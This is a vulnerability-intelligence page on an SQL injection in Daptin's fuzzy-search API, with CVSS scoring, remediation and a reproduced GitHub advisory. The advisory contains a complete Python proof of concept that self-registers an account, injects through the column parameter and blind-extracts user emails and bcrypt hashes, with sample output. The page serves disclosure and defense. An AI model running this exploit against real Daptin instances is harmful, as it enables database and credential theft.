Daptin CVE-2026-44349
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSelf-register account and obtain JWT
-
DeliveryCall GET /api/world with operator=fuzzy
-
ExploitInject comma-split column into goqu.L raw SQL
-
ExecutionUse OR-tautology response as boolean oracle
-
ImpactBoolean-blind extract emails and bcrypt hashes
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires one valid low-privilege JWT, which any user can obtain because self-signup is enabled by default on a fresh daptin instance (no admin approval). The request must hit GET /api/<entity> (e.g. /api/world) with operator set to fuzzy, fuzzy_any, or fuzzy_all, and inject via the comma-split column parameter. On the default SQLite backend no further configuration is needed - all fuzzy code paths reach the goqu.L sink. On PostgreSQL the attacker must additionally supply fuzzy_options.fallback_mode=word_boundary and target a text/varchar column (bytea columns like reference_id fail the ~* regex operator); on MySQL and MSSQL the attacker must supply fuzzy_options.fallback_mode=soundex. Limiting factors: exploitation is confined to read/confidentiality impact (no write or availability), requires network reachability to the API and an account, and on non-SQLite backends depends on the attacker choosing the correct fallback_mode and a compatible column type. MySQL/MSSQL exploitability is confirmed only by code review, not dynamically. |
| Impact | The signals are moderate and internally consistent rather than alarming. The vendor CVSS 4.0 base score is 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N, VC:H with VI:N/VA:N) - network-reachable, low-complexity, but requiring low-privilege authentication and yielding confidentiality impact only (no write/integrity or availability loss). SSVC aligns: Exploitation=poc (not active), Automatable=yes, Technical Impact=partial. EPSS is very low at 0.05% (14th percentile), consistent with a niche open-source product that is not mass-scanned, and this is not on CISA KEV. The critical risk amplifier is that daptin enables self-signup by default, so PR:L is trivially satisfied - the 'authentication' barrier is effectively no barrier on a default deployment, which makes the real-world confidentiality risk higher than a PR:L score suggests for exposed instances. The offsetting factor is deployment footprint: this is not widely deployed enterprise software, so aggregate risk is low despite easy, automatable, POC-backed exploitation of any exposed instance. No conflicting data was identified; SQLite exploitation was dynamically confirmed and PostgreSQL word_boundary confirmed, while MySQL/MSSQL are code-review-only. |
| Exploit ScenarioDerived | An attacker self-registers a normal account on an internet-exposed daptin instance (enabled by default) and obtains a JWT with no admin involvement. Using the published Python PoC, they send GET /api/world requests with operator=fuzzy and a crafted column value such as 'reference_id) OR 1=1 OR LOWER(world.reference_id', turning the WHERE clause into a boolean oracle. Because AV:N/AC:L makes each request cheap and the extraction is automatable (~7 requests per character), they perform boolean-blind extraction of the entire database, including user_account emails and bcrypt password hashes. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 23, 2026
SQL injection in Daptin's fuzzy-search API (versions <= 0.11.4) allows any authenticated user to read the entire backend database via boolean-blind extraction. The GET /api/<entity> endpoint with operator=fuzzy passes the user-supplied column parameter into raw SQL through goqu.L without schema validation, bypassing the GetColumnByName whitelist used on other query paths. Publicly available exploit code exists (SSVC lists Exploitation: poc) and the vulnerability is CWE-89; a full working PoC extracted user emails and bcrypt hashes on SQLite, though EPSS remains low at 0.05%.
RemediationAI
Vendor-released patch: upgrade to Daptin 0.11.5 or later, which adds a GetColumnByName whitelist check in processFuzzySearch to validate all column names against the table schema before they reach any DB-specific handler (fixing SQLite, PostgreSQL, MySQL, and MSSQL sinks); see https://github.com/daptin/daptin/releases/tag/v0.11.5 and the advisory at https://github.com/daptin/daptin/security/advisories/GHSA-pwqg-q8pg-pp6r. If immediate patching is not possible, the most effective compensating control is to disable open self-signup so an attacker cannot mint their own JWT (trade-off: breaks legitimate self-registration workflows and requires admin-provisioned accounts), and to restrict network access to the /api/<entity> endpoints to trusted clients via a reverse proxy or WAF rule that blocks query parameters containing fuzzy operators or comma-separated column values (trade-off: may break legitimate fuzzy-search usage). Monitoring database query logs for anomalous LOWER()/SOUNDEX()/regex predicates on the world and user_account tables can provide detection while the patch is rolled out.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Daptin is an open-source, Go-based headless CMS and backend-as-a-service that auto-generates REST/JSON:API endpoints over a relational database, supporting SQLite (default), PostgreSQL, MySQL, and MSSQL via the goqu query builder. The root cause (CWE-89, SQL Injection) is in processFuzzySearch (server/resource/resource_findallpaginated.go:1484), which splits the client-controlled column parameter by comma and interpolates each segment into fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col) wrapped in goqu.L. goqu.L emits its first argument as a raw SQL literal, so the %s column position is never bound or identifier-quoted. The safe path, processQueryFilter, calls GetColumnByName (line 1351) to validate column names against the table schema, but the fuzzy operator routes to processFuzzySearch (line 1763) before that check at line 1780, so the whitelist is never applied. Attacker control extends to fuzzy_options.fallback_mode, deserialized from the request JSON at line 243, which selects the driver-specific sink.
Know when PostgreSQL gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Network-reachable API with trivially obtained self-signup account gives PR:L and AC:L; impact is full database read (C:H) with no write or availability effect (I:N/A:N).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
processFuzzySearch in server/resource/resource_findallpaginated.go:1484 splits the user-supplied column parameter by comma and interpolates each segment directly into goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col)) raw SQL with no column whitelist check. The entry point is GET /api/<entity> with operator=fuzzy (or fuzzy_any, fuzzy_all). Any authenticated user - including one who self-registered with no admin involvement - can read the entire database.
---
Details
At resource_findallpaginated.go:1761, when the operator is fuzzy, fuzzy_any, or fuzzy_all, execution routes to processFuzzySearch (line 1763) before processQueryFilter (line 1780). processQueryFilter is the only path that calls GetColumnByName (line 1351), which validates column names against the table schema. The fuzzy branch never reaches that check.
Inside processFuzzySearch (line 1484), filterQuery.ColumnName is split by comma. After strings.TrimSpace (line 1486), each segment is routed to a DB-driver-specific function. The injectable sink reached depends on the driver and the fuzzy_options.fallback_mode field.
SQLite (processFuzzySearchSQLite, lines 1632-1676) uses goqu.L in all code paths - no fallback_mode required:
goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col), ...)- line 1650/1657
PostgreSQL, MySQL, MSSQL default to goqu.Ex (identifier-quoted, not injectable). The goqu.L sink is only reached when the attacker supplies a specific fuzzy_options.fallback_mode value in the HTTP query JSON:
- PostgreSQL
word_boundarymode (line 1540):goqu.L(fmt.Sprintf("%s ~* ?", prefix+col), ...) - MySQL
soundexmode (line 1598):goqu.L(fmt.Sprintf("SOUNDEX(%s) = SOUNDEX(?)", prefix+col), ...) - MSSQL
soundexmode (line 1694):goqu.L(fmt.Sprintf("DIFFERENCE(%s, ?) >= 3", prefix+col), ...)
fuzzy_options is deserialized from the HTTP request at line 243 (json.Unmarshal([]byte(query[0]), &queries)) - it is fully attacker-controlled.
goqu.L emits its first argument as a raw SQL literal. The column position uses %s string formatting, not a bound parameter.
prefix is fixed at line 351 as dbResource.model.GetName() + "." - for /api/world this is "world.". Against SQLite, an attacker-supplied column value of reference_id) OR 1=1 OR LOWER(world.reference_id expands in the WHERE clause to LOWER(world.reference_id) OR 1=1 OR LOWER(world.reference_id) LIKE ?. Against PostgreSQL (where reference_id is stored as bytea), the ~* regex operator requires a text-type column; the attack targets a varchar column instead (e.g., table_name) with an adapted injection template.
Relation to GHSA-rw2c-8rfq-gwfv: That patch modified resource_aggregate.go to fix /aggregate/:typename. This vulnerability is in resource_findallpaginated.go on the /api/<entity> fuzzy path - different file, different endpoint, different operator. The existing patch does not cover this path.
Tested: SQLite injection dynamically confirmed (boolean-blind extraction, email extracted). PostgreSQL word_boundary injection dynamically confirmed (baseline=0 rows, tautology=5 rows, email=guest@cms.go extracted via text column). MySQL and MSSQL confirmed by code review; MySQL binary panics on initialization in the test harness (unrelated daptin bug), dynamic verification not performed.
Fix: Add a GetColumnByName whitelist check in processFuzzySearch (line 1484) before the comma-split, matching the pattern in processQueryFilter:1351. All four DB driver sinks require fixing.
---
PoC
Environment:
git clone https://github.com/daptin/daptin
cd daptin
git checkout 5d3214244890989eceefa694bfc976ef11458721
go build -o daptin-server .
./daptin-server
# listens on :6336, SQLite backend by defaultpoc.py (Python 3, no dependencies):
import json, urllib.request, urllib.parse
BASE = "http://localhost:6336"
def post(path, body):
req = urllib.request.Request(BASE + path, json.dumps(body).encode(),
{"Content-Type": "application/json"})
try:
return json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
except urllib.request.HTTPError as e:
return json.loads(e.read(50_000))
def token():
post("/action/user_account/signup", {"attributes": {
"name": "poc", "email": "poc@test.com",
"password": "adminadmin", "passwordConfirm": "adminadmin"}})
body = post("/action/user_account/signin", {"attributes": {
"email": "poc@test.com", "password": "adminadmin"}})
return next(i["Attributes"]["value"] for i in body
if i.get("ResponseType") == "client.store.set")
def rows(col, jwt):
q = urllib.parse.urlencode({"query": json.dumps(
[{"column": col, "operator": "fuzzy", "value": "zzzzz"}])})
req = urllib.request.Request(f"{BASE}/api/world?{q}&page%5Bsize%5D=5",
headers={"Authorization": "Bearer " + jwt})
d = json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
return len(d.get("data", []))
def oracle(expr, jwt):
col = f"reference_id) OR ({expr}) OR LOWER(world.reference_id"
return rows(col, jwt) > 0
def extract_int(sql, jwt, hi=200):
lo = 0
while lo < hi:
mid = (lo + hi + 1) // 2
if oracle(f"({sql}) >= {mid}", jwt): lo = mid
else: hi = mid - 1
return lo
def extract_str(sql, jwt, maxlen=80):
n = extract_int(f"LENGTH(({sql}))", jwt, hi=maxlen)
s = ""
for _ in range(n):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
pfx = s.replace("'", "''")
expr = f"({sql}) >= '{pfx}'||char({mid+1})" if s else f"({sql}) >= char({mid+1})"
if oracle(expr, jwt): lo = mid + 1
else: hi = mid
s += chr(lo)
return s
jwt = token()
print("baseline :", rows("reference_id", jwt), "rows")
print("tautology:", rows("reference_id) OR 1=1 OR LOWER(world.reference_id", jwt), "rows")
jwt = token()
print("sqlite_master table count:", extract_int("SELECT count(*) FROM sqlite_master WHERE type='table'", jwt, hi=80))
print("email (row 1):", extract_str("SELECT email FROM user_account ORDER BY id LIMIT 1", jwt))
pw_hex = extract_str("SELECT HEX(password) FROM user_account WHERE email='poc@test.com' LIMIT 1", jwt, maxlen=40)
print("pw hash prefix:", bytes.fromhex(pw_hex).decode("ascii", errors="replace"))Output (measured on commit 5d32142, SQLite, macOS arm64):
baseline : 0 rows
tautology: 5 rows
sqlite_master table count: 57
email (row 1): guest@cms.go
pw hash prefix: $2a$11$W7vO9oOPzpf7u---
Impact
Attacker precondition: One valid JWT. Self-signup is enabled by default on a fresh daptin instance - no admin involvement required.
What is impacted: The full database is readable via boolean-blind extraction, including all tables visible in sqlite_master and credential data (emails, bcrypt password hashes) in user_account. Extraction rate is approximately 7 HTTP requests per character, making full-database extraction feasible.
Executive ViewAI
Daptin versions 0.11.4 and earlier contain a SQL injection vulnerability in the fuzzy-search API that allows authenticated users to read entire backend databases without authorization. This exposes sensitive data including user credentials and potentially all stored application data. With publicly available exploit code confirmed, organizations running vulnerable versions face immediate risk of credential compromise and data breach.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
Affected Products (CPE)GitHub Advisory
More in PostgreSQL
View allPostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re
Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.
Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar
PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow
The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t
A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve
Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the
Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
Same weakness CWE-89 – SQL Injection
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
GHSA-pwqg-q8pg-pp6r
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB